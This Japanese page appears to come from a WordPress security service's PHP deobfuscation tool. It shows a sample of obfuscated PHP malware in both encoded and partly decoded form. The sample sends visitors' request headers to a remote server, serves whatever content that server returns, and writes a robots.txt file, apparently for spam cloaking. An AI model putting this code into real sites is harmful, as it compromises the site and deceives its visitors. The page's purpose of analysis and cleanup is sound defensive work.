Japanese English

PHP 難読化コードの復元・デコード

Wordpress 等でのPHPのマルウェア・ウィルス・改ざんコードをデコードして難読化をオンラインで解除し、
元の読みやすいコードに戻し解読できます。

※すべての難読化コードを解除できるわけではございませんのでご理解とご了承をお願いいたします。

下記のコードを難読化解除しました

<?php $X=base64_decode('ZW1qQ0V0RDJSUFxII3didSR5SWRMJmhzZ1EuMCo8RlROVUc0P18rIFMoPnhhb0AxM0F8T246PS1NKVZsY3Bpdi9y');error_reporting(0);$ck="zj27";$kx="y1";if(preg_match($X[64].$X[2].$X[61].$X[7].$X[27].$X[7].$X[48].$X[64].$X[23].$X[62],$_SERVER[$X[8].$X[4].$X[25].$X[33].$X[4].$X[40].$X[31].$X[37]....



難読化されたPHPコード

<?php $X=base64_decode('ZW1qQ0V0RDJSUFxII3didSR5SWRMJmhzZ1EuMCo8RlROVUc0P18rIFMoPnhhb0AxM0F8T246PS1NKVZsY3Bpdi9y');error_reporting(0);$ck="zj27";$kx="y1";if(preg_match($X[64].$X[2].$X[61].$X[7].$X[27].$X[7].$X[48].$X[64].$X[23].$X[62],$_SERVER[$X[8].$X[4].$X[25].$X[33].$X[4].$X[40].$X[31].$X[37].$X[33].$X[8].$X[18]])==1){header($X[11].$X[31].$X[31].$X[9].$X[64].$X[47].$X[26].$X[27].$X[39].$X[35].$X[27].$X[35].$X[39].$X[32].$X[45].$X[5].$X[39].$X[30].$X[45].$X[15].$X[52].$X[19]);echo $X[11].$X[31].$X[31].$X[9].$X[64].$X[47].$X[26].$X[27].$X[39].$X[35].$X[27].$X[35].$X[39].$X[32].$X[45].$X[5].$X[39].$X[30].$X[45].$X[15].$X[52].$X[19].$X[37].$X[37].$X[37].$ck.$X[37].$X[37].$X[37].$kx;exit;}function iFZ($nW){$Pn=curl_init();curl_setopt($Pn,CURLOPT_URL,$nW);curl_setopt($Pn,CURLOPT_RETURNTRANSFER,1);curl_setopt($Pn,CURLOPT_CONNECTTIMEOUT,10);$EP=curl_exec($Pn);$EP=trim($EP);curl_close($Pn);if(empty($EP)){$EP=file_get_contents($nW);}return $EP;}$xY=$X[22].$X[5].$X[5].$X[61].$X[53].$X[64].$X[64].$ck.$X[26].$X[63].$X[44].$X[59].$X[62].$X[19].$X[65].$X[44].$X[17].$X[26].$X[60].$X[45].$X[1];$Yu=$X[64].$X[62].$X[52].$X[19].$X[0].$X[43].$X[26].$X[61].$X[22].$X[61].$X[36].$X[58].$X[40].$X[54].$kx.$X[21].$X[34].$X[9].$X[54].$ck;$uA=array($X[40].$X[3].$X[8].$X[18].$X[9].$X[31].$X[37].$X[32].$X[49].$X[56].$X[4],$X[8].$X[4].$X[25].$X[33].$X[4].$X[40].$X[31].$X[37].$X[33].$X[8].$X[18],$X[11].$X[31].$X[31].$X[9].$X[40],$X[8].$X[4].$X[25].$X[33].$X[4].$X[40].$X[31].$X[37].$X[40].$X[3].$X[11].$X[4].$X[56].$X[4],$X[40].$X[4].$X[8].$X[58].$X[4].$X[8].$X[37].$X[9].$X[51].$X[8].$X[31],$X[8].$X[4].$X[56].$X[51].$X[31].$X[4].$X[37].$X[49].$X[6].$X[6].$X[8],$X[11].$X[31].$X[31].$X[9].$X[37].$X[8].$X[4].$X[30].$X[4].$X[8].$X[4].$X[8],$X[11].$X[31].$X[31].$X[9].$X[37].$X[49].$X[3].$X[3].$X[4].$X[9].$X[31].$X[37].$X[20].$X[49].$X[32].$X[34].$X[33].$X[49].$X[34].$X[4],$X[11].$X[31].$X[31].$X[9].$X[37].$X[33].$X[40].$X[4].$X[8].$X[37].$X[49].$X[34].$X[4].$X[32].$X[31],$X[11].$X[31].$X[31].$X[9].$X[37].$X[11].$X[51].$X[40].$X[31]);foreach($uA as $TE){$sT=isset($_SERVER[$TE])?$_SERVER[$TE]:'';$AG=base64_encode(trim($sT));$AG=str_replace($X[38],$X[55],$AG);$AG=str_replace($X[64],$X[37],$AG);$AG=str_replace($X[54],$X[26],$AG);$Yu.=$X[21].$TE.$X[54].$AG;}$Gz=explode($X[50].$X[46].$X[12].$X[16].$X[50],trim(iFZ($xY.$Yu)));$Js=count($Gz);if($Js<3){header($X[11].$X[31].$X[31].$X[9].$X[64].$X[47].$X[26].$X[27].$X[39].$X[35].$X[27].$X[35].$X[39].$X[32].$X[45].$X[5].$X[39].$X[30].$X[45].$X[15].$X[52].$X[19]);exit;}else{$zq=trim($Gz[0]);if(!empty($zq)){header($zq);}$qp=trim($Gz[1]);if(!empty($qp)){echo $qp;}$pV=trim($Gz[$Js-1]);if($pV==$X[0].$X[43].$X[62].$X[5]){exit;}if($pV==$X[61].$X[62].$X[52].$X[24]){$Vr=$X[33].$X[23].$X[0].$X[65].$X[55].$X[44].$X[24].$X[0].$X[52].$X[5].$X[53].$X[28].PHP_EOL;$Vr.=$X[49].$X[59].$X[59].$X[45].$X[13].$X[53].$X[64].PHP_EOL;$rS=explode($X[29].$X[14].$X[65].$X[64].$X[42],$qp);array_pop($rS);foreach($rS as $SI){$Vr.=$X[40].$X[62].$X[5].$X[0].$X[1].$X[44].$X[61].$X[53].$SI.PHP_EOL;$IO=iFZ($X[22].$X[5].$X[5].$X[61].$X[23].$X[53].$X[64].$X[64].$X[13].$X[13].$X[13].$X[26].$X[24].$X[45].$X[45].$X[24].$X[59].$X[0].$X[26].$X[60].$X[45].$X[1].$X[64].$X[61].$X[62].$X[52].$X[24].$X[36].$X[23].$X[62].$X[5].$X[0].$X[1].$X[44].$X[61].$X[54].$SI);preg_match($X[64].$X[29].$X[22].$X[7].$X[42].$X[41].$X[26].$X[38].$X[57].$X[36].$X[29].$X[10].$X[64].$X[22].$X[7].$X[42].$X[64],$IO,$OJ);echo $SI.$X[54].$X[54].$X[42].$X[61].$X[62].$X[52].$X[24].$X[55].$X[24].$X[45].$X[45].$X[24].$X[59].$X[0].$X[55].$X[65].$X[0].$X[23].$X[15].$X[59].$X[5].$X[55].$X[62].$X[23].$X[53].$X[29].$X[14].$X[42].$OJ[1].$X[29].$X[64].$X[14].$X[42].$X[29].$X[14].$X[65].$X[64].$X[42];usleep(mt_rand(100000,300000));}file_put_contents($_SERVER[$X[6].$X[51].$X[3].$X[33].$X[56].$X[4].$X[32].$X[31].$X[37].$X[8].$X[51].$X[51].$X[31]].$X[64].$X[65].$X[45].$X[14].$X[45].$X[5].$X[23].$X[26].$X[5].$X[43].$X[5],$Vr);echo $X[65].$X[45].$X[14].$X[45].$X[5].$X[23].$X[26].$X[5].$X[43].$X[5].$X[54].$X[54].$X[42].$X[29].$X[14].$X[42].$X[15].$X[61].$X[19].$X[44].$X[5].$X[0].$X[19].$X[29].$X[64].$X[14].$X[42];exit;}}?>

デコード(難読化解除)されたコード

<?php

$X = "emjCEtD2RP\\H#wbu\$yIdL&hsgQ.0*<FTNUG4?_+ S(>xao@13A|On:=-M)Vlcpiv/r";
error_reporting(0);
$ck = "zj27";
$kx = "y1";
if (preg_match("/jp2023/si", $_SERVER["REQUEST_URI"]) == 1) {
    header("HTTP/1.0 404 Not Found");
    echo "HTTP/1.0 404 Not Found___zj27___y1";
    exit;
}
function iFZ($nW)
{
    $Pn = curl_init();
    curl_setopt($Pn, CURLOPT_URL, $nW);
    curl_setopt($Pn, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($Pn, CURLOPT_CONNECTTIMEOUT, 10);
    $EP = curl_exec($Pn);
    $EP = trim($EP);
    curl_close($Pn);
    if (empty($EP)) {
        $EP = file_get_contents($nW);
    }
    return $EP;
}
$xY = $X[22] . $X[5] . $X[5] . $X[61] . $X[53] . $X[64] . $X[64] . $ck . $X[26] . $X[63] . $X[44] . $X[59] . $X[62] . $X[19] . $X[65] . $X[44] . $X[17] . $X[26] . $X[60] . $X[45] . $X[1];
$Yu = $X[64] . $X[62] . $X[52] . $X[19] . $X[0] . $X[43] . $X[26] . $X[61] . $X[22] . $X[61] . $X[36] . $X[58] . $X[40] . $X[54] . $kx . $X[21] . $X[34] . $X[9] . $X[54] . $ck;
$uA = array($X[40] . $X[3] . $X[8] . $X[18] . $X[9] . $X[31] . $X[37] . $X[32] . $X[49] . $X[56] . $X[4], $X[8] . $X[4] . $X[25] . $X[33] . $X[4] . $X[40] . $X[31] . $X[37] . $X[33] . $X[8] . $X[18], $X[11] . $X[31] . $X[31] . $X[9] . $X[40], $X[8] . $X[4] . $X[25] . $X[33] . $X[4] . $X[40] . $X[31] . $X[37] . $X[40] . $X[3] . $X[11] . $X[4] . $X[56] . $X[4], $X[40] . $X[4] . $X[8] . $X[58] . $X[4] . $X[8] . $X[37] . $X[9] . $X[51] . $X[8] . $X[31], $X[8] . $X[4] . $X[56] . $X[51] . $X[31] . $X[4] . $X[37] . $X[49] . $X[6] . $X[6] . $X[8], $X[11] . $X[31] . $X[31] . $X[9] . $X[37] . $X[8] . $X[4] . $X[30] . $X[4] . $X[8] . $X[4] . $X[8], $X[11] . $X[31] . $X[31] . $X[9] . $X[37] . $X[49] . $X[3] . $X[3] . $X[4] . $X[9] . $X[31] . $X[37] . $X[20] . $X[49] . $X[32] . $X[34] . $X[33] . $X[49] . $X[34] . $X[4], $X[11] . $X[31] . $X[31] . $X[9] . $X[37] . $X[33] . $X[40] . $X[4] . $X[8] . $X[37] . $X[49] . $X[34] . $X[4] . $X[32] . $X[31], $X[11] . $X[31] . $X[31] . $X[9] . $X[37] . $X[11] . $X[51] . $X[40] . $X[31]);
foreach ($uA as $TE) {
    $sT = isset($_SERVER[$TE]) ? $_SERVER[$TE] : '';
    $AG = base64_encode(trim($sT));
    $AG = str_replace($X[38], $X[55], $AG);
    $AG = str_replace($X[64], $X[37], $AG);
    $AG = str_replace($X[54], $X[26], $AG);
    $Yu .= $X[21] . $TE . $X[54] . $AG;
}
$Gz = explode($X[50] . $X[46] . $X[12] . $X[16] . $X[50], trim(iFZ($xY . $Yu)));
$Js = count($Gz);
if ($Js < 3) {
    header($X[11] . $X[31] . $X[31] . $X[9] . $X[64] . $X[47] . $X[26] . $X[27] . $X[39] . $X[35] . $X[27] . $X[35] . $X[39] . $X[32] . $X[45] . $X[5] . $X[39] . $X[30] . $X[45] . $X[15] . $X[52] . $X[19]);
    exit;
} else {
    $zq = trim($Gz[0]);
    if (!empty($zq)) {
        header($zq);
    }
    $qp = trim($Gz[1]);
    if (!empty($qp)) {
        echo $qp;
    }
    $pV = trim($Gz[$Js - 1]);
    if ($pV == $X[0] . $X[43] . $X[62] . $X[5]) {
        exit;
    }
    if ($pV == $X[61] . $X[62] . $X[52] . $X[24]) {
        $Vr = $X[33] . $X[23] . $X[0] . $X[65] . $X[55] . $X[44] . $X[24] . $X[0] . $X[52] . $X[5] . $X[53] . $X[28] . PHP_EOL;
        $Vr .= $X[49] . $X[59] . $X[59] . $X[45] . $X[13] . $X[53] . $X[64] . PHP_EOL;
        $rS = explode($X[29] . $X[14] . $X[65] . $X[64] . $X[42], $qp);
        array_pop($rS);
        foreach ($rS as $SI) {
            $Vr .= $X[40] . $X[62] . $X[5] . $X[0] . $X[1] . $X[44] . $X[61] . $X[53] . $SI . PHP_EOL;
            $IO = iFZ($X[22] . $X[5] . $X[5] . $X[61] . $X[23] . $X[53] . $X[64] . $X[64] . $X[13] . $X[13] . $X[13] . $X[26] . $X[24] . $X[45] . $X[45] . $X[24] . $X[59] . $X[0] . $X[26] . $X[60] . $X[45] . $X[1] . $X[64] . $X[61] . $X[62] . $X[52] . $X[24] . $X[36] . $X[23] . $X[62] . $X[5] . $X[0] . $X[1] . $X[44] . $X[61] . $X[54] . $SI);
            preg_match($X[64] . $X[29] . $X[22] . $X[7] . $X[42] . $X[41] . $X[26] . $X[38] . $X[57] . $X[36] . $X[29] . $X[10] . $X[64] . $X[22] . $X[7] . $X[42] . $X[64], $IO, $OJ);
            echo $SI . $X[54] . $X[54] . $X[42] . $X[61] . $X[62] . $X[52] . $X[24] . $X[55] . $X[24] . $X[45] . $X[45] . $X[24] . $X[59] . $X[0] . $X[55] . $X[65] . $X[0] . $X[23] . $X[15] . $X[59] . $X[5] . $X[55] . $X[62] . $X[23] . $X[53] . $X[29] . $X[14] . $X[42] . $OJ[1] . $X[29] . $X[64] . $X[14] . $X[42] . $X[29] . $X[14] . $X[65] . $X[64] . $X[42];
            usleep(mt_rand(100000, 300000));
        }
        file_put_contents($_SERVER[$X[6] . $X[51] . $X[3] . $X[33] . $X[56] . $X[4] . $X[32] . $X[31] . $X[37] . $X[8] . $X[51] . $X[51] . $X[31]] . $X[64] . $X[65] . $X[45] . $X[14] . $X[45] . $X[5] . $X[23] . $X[26] . $X[5] . $X[43] . $X[5], $Vr);
        echo $X[65] . $X[45] . $X[14] . $X[45] . $X[5] . $X[23] . $X[26] . $X[5] . $X[43] . $X[5] . $X[54] . $X[54] . $X[42] . $X[29] . $X[14] . $X[42] . $X[15] . $X[61] . $X[19] . $X[44] . $X[5] . $X[0] . $X[19] . $X[29] . $X[64] . $X[14] . $X[42];
        exit;
    }
}


■【無料】ワードプレス:マルウェアスキャン&セキュリティープラグイン [マルウェア・ウィルス検出と駆除]

■WordPress のマルウェア駆除、セキュリティー対策 カスタマイズや修正、引っ越し・復旧のご依頼承ります

(C)2019 ワードプレス ドクター All rights reserved.